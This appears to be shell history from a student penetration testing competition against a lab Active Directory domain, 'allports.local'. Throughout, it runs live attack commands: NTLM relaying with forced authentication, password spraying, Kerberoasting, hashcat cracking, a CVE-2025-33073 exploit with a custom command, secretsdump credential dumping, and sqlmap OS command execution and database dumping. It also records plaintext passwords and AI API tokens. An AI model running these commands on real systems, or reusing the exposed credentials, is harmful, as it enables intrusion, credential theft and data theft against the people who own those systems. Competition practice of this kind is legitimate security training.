source ~/.bashrc
vim ~/.bashrc
source ~/.bashrc
clear
exit


_raw: : 1767975795:0;docker compose -f local.yml config > rendered.yml


_raw: : 1767975773:0;hashcat root.hash --username --wordlist /usr/share/wordlists/rockyou.txt


_raw:
hashcat -m1600 hash -w /usr/share/wordlists/rockyou.txt
hashcat -m1600 hash /usr/share/wordlists/rockyou.txt


_raw: : 1767975759:0;hashcat root.hash --username


_raw: : 1767975673:0;gunzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767975665:0;tar -xvf /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767975643:0;tar xzvf /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767975639:0;tar xvf /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767975637:0;tar xvf /usr/share/wordlists/rockyou.txt.gz o


_raw: : 1767975619:0;nxc ldap apt-dc-01.allports.local  -u 'captain' -p '@nchor2024'


_raw: : 1767975553:0;nxc ldap apt-dc-01.allports.local  -u 'svc_stabilize' -p '@nchor2024'


_raw: : 1767975500:0;grep POSTGRES_PORT .env | xargs


_raw: : 1767975490:0;grep POSTGRES_PORT .env | xargs


_raw: : 1767975432:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767975430:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw:
clear
ls
source venv/bin/activate
clear
ls
cd agents
ls
python3 linear_execution.py 10.0.1.0/24
pip install openai anthropic
pip install openai anthropic --break-system-packages
python3 linear_execution.py 10.0.1.0/24
python3 linear_execution.py --subent 10.0.1.0/24 --keys ../keys.cfg
python3 linear_execution.py --subnet 10.0.1.0/24 --keys ../keys.cfg
clear


_raw: : 1767975416:12;ntlmrelayx.py -t smb://deckhand-01.allports.local -smb2support -i


_raw: : 1767975407:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767975403:0;ntlmrelayx.py -t all://deckhand-01.allports.local -smb2support -i


_raw: : 1767975245:0;nxc ldap apt-dc-01.allports.local  -u 'svc_boatgps' -p '@nchor2024'


_raw: : 1767975242:0;nxc ldap apt-dc-01.allports.local  -u 'boatgps' -p '@nchor2024'


_raw:
cd
tail .zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key2-4b7a2d9d-da05-4e98-a8d9-1fa4a3cef05a"' >> .zshrc
source ~/.zshrc
clear
claude


_raw:
ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts
nxc ldap 10.0.1.6
clear
cd ..
nxc ldap 10.0.1.6
clear
nxc ldap 10.0.1.6 -asrepreproast
nxc ldap 10.0.1.6 -u '' -p '' -asrepreproast
nxc ldap 10.0.1.6 -u '' -p ''
ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local"
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s "(objectClass=user)"
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" "(objectClass=user)"
ldapsearch -x -H ldap://<target> -b "dc=example,dc=com" "(objectClass=computer)"
nxc ldap 10.0.1.6 -u '' -p '' -M whoami
nxc ldap 10.0.1.6 -u '' -p '' --asrepreproast
nxc ldap 10.0.1.6 -u '' -p '' --asreproast
nxc ldap 10.0.1.6 -u '' -p '' --asreproast out.txt
nxc ldap 10.0.1.6 -u '' -p '' --trusted-for-delegation  --password-not-required --admin-count --users --groups\
clear
ldapsearch -x -H ldap://<target> -b "dc=example,dc=com" -s sub "(&(objectclass=user))"
clear
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" "(objectClass=user)"
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "(&(objectclass=user))"
clear
ldapdomaindump
ldapdomaindump 10.0.1.6
clear
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "(&(objectclass=user))"
clear
ldapdomaindump -u '' -p '' 10.0.1.6
ldapdomaindump  -p '' 10.0.1.6
;s
ls
cat domain_computers_by_os.html
cat domain_policy.json
rm domain_
rm domain_*
clear
ls
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)"
clear


_raw:
./ad.sh
clear
nmap -p- 10.0.1.6
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)" "+" "*"
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)" pwdProperties lockoutThreshold lockoutDuration maxPwdAge minPwdAge minPwdLength pwdHistoryLength
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" "(objectClass=group)" cn\
clear
nxc ldap 10.0.1.6 -u '' -p '' --pass-pol\
nxc ldap 10.0.1.6 -u '' -p '' --pass-pol
nxc ldap 10.0.1.6 -u '' -p '' --users
clear
nxc ldap 10.0.1.6 -u '' -p '' --users
cd
nxc ldap 10.0.1.6 -u '' -p ''
source ~/.zshrc
clear
nxc ldap 10.0.1.6 -u '' -p ''
pipx ensurepath
nxc ldap 10.0.1.6 -u '' -p ''
cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i net
pipx install git+https://github.com/Pennyw0rth/NetExec\
clear
nxc
pip uninstall sqlalchemy -y\
  pip install 'sqlalchemy<2.0'\
pip uninstall sqlalchemy --break-system-packages -y\
  pip install 'sqlalchemy<2.0' --break-system-packages\
clear
nxc ldap 10.0.1.6 -u '' -p '' --users
netexec
c;ear
clear
nxc
clear
nxc ldap 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' --pass-pol
which seclists
seclists
clear


_raw: : 1767975216:0;nuclei -l hosts.txt -s info


_raw: : 1767975142:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767975139:0;ntlmrelayx.py -t smb://deckhand-01.allports.local -smb2support -i


_raw: : 1767975096:0;docker compose -f local.yml config | grep -A2 postgres


_raw: : 1767975092:0;docker compose -f local.yml config | gr3ep -A2 postgres


_raw: : 1767975061:0;nxc smb deckhand-02.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767975056:0;ntlmrelayx.py -t all://deckhand-01.allports.local -smb2support -i


_raw: : 1767975032:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767975030:0;ntlmrelayx.py -t smb://deckhand-01.allports.local -smb2support -i


_raw: : 1767975001:3;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767974997:14;ntlmrelayx.py -t smb://apt-dc01.allports.local -smb2support -i


_raw:
curl -fsSL https://claude.ai/install.sh | bash
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc
clear
enum4linux
clear
enum4linux -a 10.0.1.20
enum4linux -a -u 'guest' -p '' 10.0.1.20
clear


_raw: : 1767974915:0;./ghostwriter-cli-linux install -h


_raw: : 1767974908:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767974904:0;./ghostwriter-cli-linux install --debug


_raw: : 1767974894:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw:
ls
cd university-of-florida
ls
cd cptc2026-tools/setup
ls
./windows.sh
./web-lin.sh
ls
cd ..
ls
cd ..
ls
cd cptc2026-tools/setup
ls
cd ..
ls
clear
lsc
ls
cd setup
ls
cd ..
l
cd portinventory
ls
cd planka
tmux
tmux a


_raw: : 1767974819:0;grep -C4 portas local.yml


_raw: : 1767974817:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767974815:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw: : 1767974803:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767974798:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw: : 1767974788:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -socks -h


_raw:
ifconfig
cd
cd creds
nano users
sudo nano /etc/resolv.conf
clear
sudo nano /etc/resolv.conf
clear
nxc smb 10.0.1.6 -u users -p 'Sails@way!'
clear
nano users
mv users tmp_u
nano users
clear
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50'
rm -f /home/pentester/.nxc/workspaces/default/smb.db
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50'
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope'
nxc smb 10.0.1.6 -u users -p 'Sails@way!'
clear
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope'
clear
nxc ldap 10.0.1.6 -u svc_stabilize -p '1gyroscope' --bloodhound -c all
rm -f /home/pentester/.nxc/workspaces/default/ldap.db
nxc ldap 10.0.1.6 -u svc_stabilize -p '1gyroscope' --bloodhound -c all
cd
mv /home/pentester/.nxc/logs/APT-DC-01_10.0.1.6_2026-01-09_100737_bloodhound.zip .
ls
clear
bloodhound-setup
sudo nano /etc/bhapi/bhapi.json
bloodhound
clear
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --users
clear
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --users > awk
awk '{print $5}' awk > users
cat users
nano users
clear
python3 -m http.server 80
clear
nxc smb 10.0.1.6 -u users -p 'Sails@way!'
clear
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M smbghost
nxc smb 10.0.1.21 -u svc_stabilize -p '1gyroscope'
nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope'
nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope' --shares
nxc smb 10.0.1.21 -u svc_stabilize -p '1gyroscope' --shares
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --shares
nxc ldap 10.0.1.6 -u svc_stabilize -p '1gyroscope' --kerberoasting kerb
nxc ldap 10.0.1.6 -u svc_stabilize -p '1gyroscope' --asreproast asrep
clear
hashcat -a 0 kerb /usr/share/wordlists/rockyou.txt
clear
git clone https://github.com/mverschu/CVE-2025-33073.git
cxd CVE-2025-33073
cd CVE-2025-33073
ls
clear
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --custom-command "whoami"
lsa
ls
clear
python3 -m venv venv
source venv/bin/activate
clear
pip install -r requirements.txt
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --help
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 -M Printerbug
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M printnightmare
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --help
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -L
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M timeroast
cd
nano time
awk '{print $5}' time > time
nano time
rm awk
nano awk
awk '{print $5}' awk > time
nano time
hashcat --version
hashcat -a 0 time /usr/share/wordlists/rockyou.txt
clear
cd CVE-2025-33073
ls
nano CVE-2025-33073.py
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
clear
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
clear
sudo nano /etc/hosts
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
nano CVE-2025-33073.py
clear
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
nano CVE-2025-33073.py
clear
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target APT-DC-01.allports.local --target-ip 10.0.1.6
python3 CVE-2025-33073.py -u 'allports.local\svc_stabilize' -p '1gyroscope' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20
clear


_raw: : 1767974706:0;proxychains smbclient.py -no-pass 'APT'/'DECKHAND-01$'@deckhand-02.allports.local


_raw:
nano hosts.txt
ls
ls ~/D
ls ~/Downloads
gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz /
gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz .
gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz
tar -xfv ~/Downloads/termshot_0.6.0_linux_amd64.tar
ls ~/Downloads
tar -xf ~/Downloads/termshot_0.6.0_linux_amd64.tar
ls ~/Downloads/
ls
rm LICENSE
rm README.md
ls
clear
cat ~/password.txt
cat hosts.txt
nxc smb hosts.txt


_raw: : 1767974616:0;proxychains smbclient.py -no-pass deckhand-02.allports.local


_raw: : 1767974602:0;proxychains smbclient.py -no-pass


_raw: : 1767974586:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767974575:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -socks


_raw:
ls
cat password.txt
clear
ping 10.0.1.0/24
ping 10.0.1.1
clear
ping 10.0.1.6
nmap -A -p- 10.0.1.20
nmap --help
nmap -sU -
nmap -sU -top
nmap -sU -top-ports
nmap -sU -top-ports 25 10.0.1.20
nmap -sU --top-ports 25 10.0.1.20
nmap -sU -v --top-ports 25 10.0.1.20
nmap -sU --top-ports 25 10.0.1.20
clear
ping 10.0.1.13
nmap -A -p- 10.0.1.13
nmap -A -p- 10.0.1.1
clear
burpsuite


_raw:
gobuster --help
gobuster dir -u "https://chat.allports.tours/register" -w ../../usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
gobuster dir -u "https://chat.allports.tours/" -w ../../usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
gobuster dir -u https://chat.allports.tours/ -w ../../usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
gobuster dir -u https://chat.allports.tours/ -w ../../usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -k


_raw:
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation -k
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
ls
findDelegation.py
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
ls
ifconfig
nano hash.txt
ls
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists/rockyou.txt
cat hash.txt
hashcat hash.txt /usr/share/wordlists/rockyou.txt


_raw:
: 1767974436:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Bearer: 123' \\
  -H 'Authorization: Token 132' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw:
: 1767974435:0;[200~curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Bearer: 123' \\
  -H 'Authorization: Token 132' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'~


_raw:
: 1767974426:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Bearer: 123' \\
  -H "Authorization: Token 132' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw:
: 1767974395:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}' -H "Bearer: 123"


_raw:
: 1767974379:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1767974296:0;strings ghostwriter-cli-linux | grep dock


_raw: : 1767974294:0;strings ghostwriter-cli-linux | grep docker


_raw: : 1767974289:0;strings ghostwriter-cli-linux | grep Docker


_raw:
cd
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team5-key2-9d50ac41-a649-443f-9fcb-5ab78d9b1973"' >> ~/.bashrc


_raw: : 1767974230:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767974198:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1767974192:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/assets/fonts/ -k --exclude-length 4831


_raw: : 1767974177:0;proxychains secretsdump.py deckhand-02.allports.local -no-pass


_raw: : 1767974159:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/assets/ -k --exclude-length 4831


_raw: : 1767974155:0;proxychains secretsdump.py 'allports.local'/'APT/DECKHAND-01$' -no-pass


_raw: : 1767974122:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/ -k --exclude-length 4831


_raw: : 1767974104:0;proxychains nxc -h | less


_raw: : 1767973975:0;proxychains4 smbclient.py -no-pass 'APT'/'DECKHAND-01$'@'deckhand-02.allports.local'


_raw: : 1767973960:0;proxychains4 smbclient.py -no-pass 'APT'/'DECKHAND-01'@10.0.1.21


_raw: : 1767973959:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/api/ -k --exclude-length 4831


_raw: : 1767973939:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/images/ -k --exclude-length 4831


_raw: : 1767973929:0;proxychains4 smbclient.py -no-pass 'APT'/'DECKHAND-01'@deckhand-02.allports.local


_raw: : 1767973919:0;sudo vim /etc/proxychains4.conf


_raw: : 1767973911:0;proxychains4 smbclient.py -no-pass 'APT'/'DECKHAND-01'@deckhand-02.allports.local


_raw: : 1767973895:0;proxychains smbclient.py -no-pass 'APT'/'DECKHAND-01'@deckhand-02.allports.local


_raw: : 1767973892:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/ -k --exclude-length 4831


_raw: : 1767973886:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/ -k


_raw: : 1767973875:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url https://allports.local/register


_raw: : 1767973871:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://allports.local/register


_raw: : 1767973760:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767973745:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -socks


_raw:
cls
cd
ls
cd cptc
clear
ls
cd ad_enum_results_20260109_102747
ls
cd nmap
ls
cd ..
cd enumeration
ls
cd vuln
ls
cd unauthenticated
ls
cat vulnerability_summary.txt
cat vuln_zerologon_10.0.1.6.txt
cat vuln_printnightmare_10.0.1.6.txt
cat vuln_smbghost_10.0.1.6.txt
cat vuln_ms17-010_10.0.1.6.txt
cat vuln_coerce_plus_10.0.1.6.txt
clear
ls
cat vulnerability_summary.txt
cat vuln_smbghost_10.0.1.20.txt
cat vuln_smbghost_10.0.1.21.txt
cat vuln_smbghost_10.0.1.6.txt
cat vuln_coerce_plus_10.0.1.6.txt
cat vuln_coerce_plus_10.0.1.20.txt
cat vuln_coerce_plus_10.0.1.21.txt
clear


_raw:
vim internal/orchestrator/orchestrator.go
make scanner
sudo ./luftweht 10.0.1.0/24 -v --skip-udp
sudo ./luftweht 10.0.1.0/24 -v --skip-udp --skip-service -h
sudo ./luftweht 10.0.1.0/24 -v --skip-udp --skip-service


_raw: : 1767973498:0;cloud-init clean --machine-id -l -s


_raw: : 1767973498:0;apt install qemu-guest-agent


_raw: : 1767973498:0;apt install python3-pip python3-venv curl htop


_raw: : 1767973498:0;apt install openssh-server


_raw: : 1767973498:0;sudo apt install dphys-swapfile


_raw: : 1767973498:0;apt install systemd-zram-generator zram-tools


_raw: : 1767973496:0;python3 Responder.py -I eth0


_raw: : 1767973487:0;nxc winrm windows_hosts -u Guest -p '' --local-auth


_raw: : 1767973482:0;nxc winrm windows_hosts -u Guest -p '' -h


_raw: : 1767973474:1;nxc winrm windows_hosts -u Guest -p ''


_raw:
ssh 10.0.1.99
ssh 10.0.1.99 -u anonymous
ssh anonymous@10.0.1.99
ssh-audit 10.0.1.99 22
msfconsole


_raw: : 1767973435:0;sudo pip3 install -r requirements.txt --break-system-packages


_raw: : 1767973430:0;nxc ldap apt-dc-01.allports.local  -u 'captain' -p 'captain'


_raw:
: 1767973423:0;git clone https://github.com/23yem/Web-Sieve.git\
cd Web-Sieve


_raw: : 1767973422:0;nxc ldap apt-01.allports.local  -u 'captain' -p 'captain'


_raw: : 1767973416:0;nxc ldap apt-01.allports.tours  -u 'captain' -p 'captain'


_raw:
vim internal/orchestrator/orchestrator.go
make
make scanner
sudo ./luftweht -v 10.0.1.0/24 --skip-udp


_raw:
./luftweht-linux-amd64 -h
./luftweht-linux-amd64 10.0.1.0/24 -v
./luftweht-linux-amd64
SUDO ./luftweht-linux-amd64 10.0.1.0/24 -v
sudo ./luftweht-linux-amd64 10.0.1.0/24 -v
sudo ./luftweht-linux-amd64 10.0.1.0/24 -v --skip-udp
sudo ./luftweht-linux-amd64 10.0.1.20 -v
git clone https://github.com/donovan-jasper/luftweht.git
cd luftweht
ls
make
vim Makefile
make scanner
ls
sudo apt install go
sudo apt install golang
make scanner
ls
./luftweht
cd ..
sudo apt install openssh
sudo apt install openssh-server
sudo systemctl start sshd
sudo systemctl start ssh
sudo systemctl status ssh
./luftweht-linux-amd64 10.0.1.0/24 -v --skip-service --skip-udp
nmap 10.0.1.11 -p8081 -sV
cd luftweht
./luftweht
source ~/.zshrc


_raw:
sqlmap --help
l
clear
ls
nano req.txt
ls
sqlmap -u "https://chat.allports.tours/login/" -r req.txt
sqlmap -u "https://chat.allports.tours/login/" -r req.txt --os-cmd=whoami
sqlmap -r req.txt --os-cmd=whoami


_raw: : 1767973294:0;smbclient.py 'allports.local'/'Guest':'' -h


_raw: : 1767973263:0;nxc smb workstations  -u 'Guest' -p '' -M gpp_password


_raw: : 1767973254:0;nxc smb workstations  -u 'Guest' -p '' --shares


_raw: : 1767973207:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767973192:0;sudo tar -C /usr/local -xzf go1.25.5.linux-amd64.tar.gz


_raw: : 1767973140:0;sudo tar -C /usr/local -xzf go1.25.5.linux-amd64.tar.gz


_raw:
nano users.txt
ls
python3 autoWin.py 10.0.1.6 -d allports.local -ldapsearch
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -k -d allports.local -ldapsearch
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldapsearch
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -k -bloodhound
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
sudo ./bloodhound-cli install
git clone ./bloodhound-cli install


_raw: : 1767973104:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767973096:0;ntlmrelayx.py -t ldap://apt-dc01.allports.local -smb2support -socks


_raw:
sudo apt update\
sudo apt install -y sed curl openssl uuid-runtime coreutils
bash <(curl -s https://docs.sysreptor.com/install.sh)
curl -fsSL https://get.docker.com | sudo bash
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker
docker compose
docker-compose
bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1767973088:0;cloud-init clean --machine-id -l -s


_raw: : 1767973088:0;apt install qemu-guest-agent


_raw: : 1767973088:0;apt install python3-pip python3-venv curl htop


_raw: : 1767973088:0;apt install openssh-server


_raw: : 1767973088:0;sudo apt install dphys-swapfile


_raw: : 1767973088:0;apt install systemd-zram-generator zram-tools


_raw:
sqlmap -u "https://chat.allports.tours/login/" --session=eyJjc3JmX3Rva2VuIjoiNDcxZmRhNjQzMTZhNzA5MjYwMjllNTJjM2E1ZDE0YjM2YjdjMDQzNyJ9.aWEbpQ.QMz3MKLJ7N7QMbijlGTtB1UOdP4
sqlmap -u "https://chat.allports.tours/login/" --dump-all
sqlmap -u "https://chat.allports.tours/login/" --cookie="session=eyJjc3JmX3Rva2VuIjoiNDcxZmRhNjQzMTZhNzA5MjYwMjllNTJjM2E1ZDE0YjM2YjdjMDQzNyJ9.aWEbpQ.QMz3MKLJ7N7QMbijlGTtB1UOdP4"
clear
ls
sudo n-i
sudo -i
cat password.txt
sudo -i


_raw: : 1767973087:0;sudo apt-get purge golang*


_raw: : 1767973083:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767973080:0;ntlmrelayx.py -t smb://apt-dc01.allports.local -smb2support -socks


_raw:
cd /dev/shm
mousepad secret.txt
ifconfig; python3 -m http.server
ifconfig; python3 -m http.server 8000
ifconfig; python3 -m http.server 999


_raw: : 1767973065:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw:
: 1767973065:0;curl 'http://10.0.1.13:8080/api/download_csv.php?file=navigation_log_2026-01-09.csv' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.13:8080/?route=navigation_log' \\
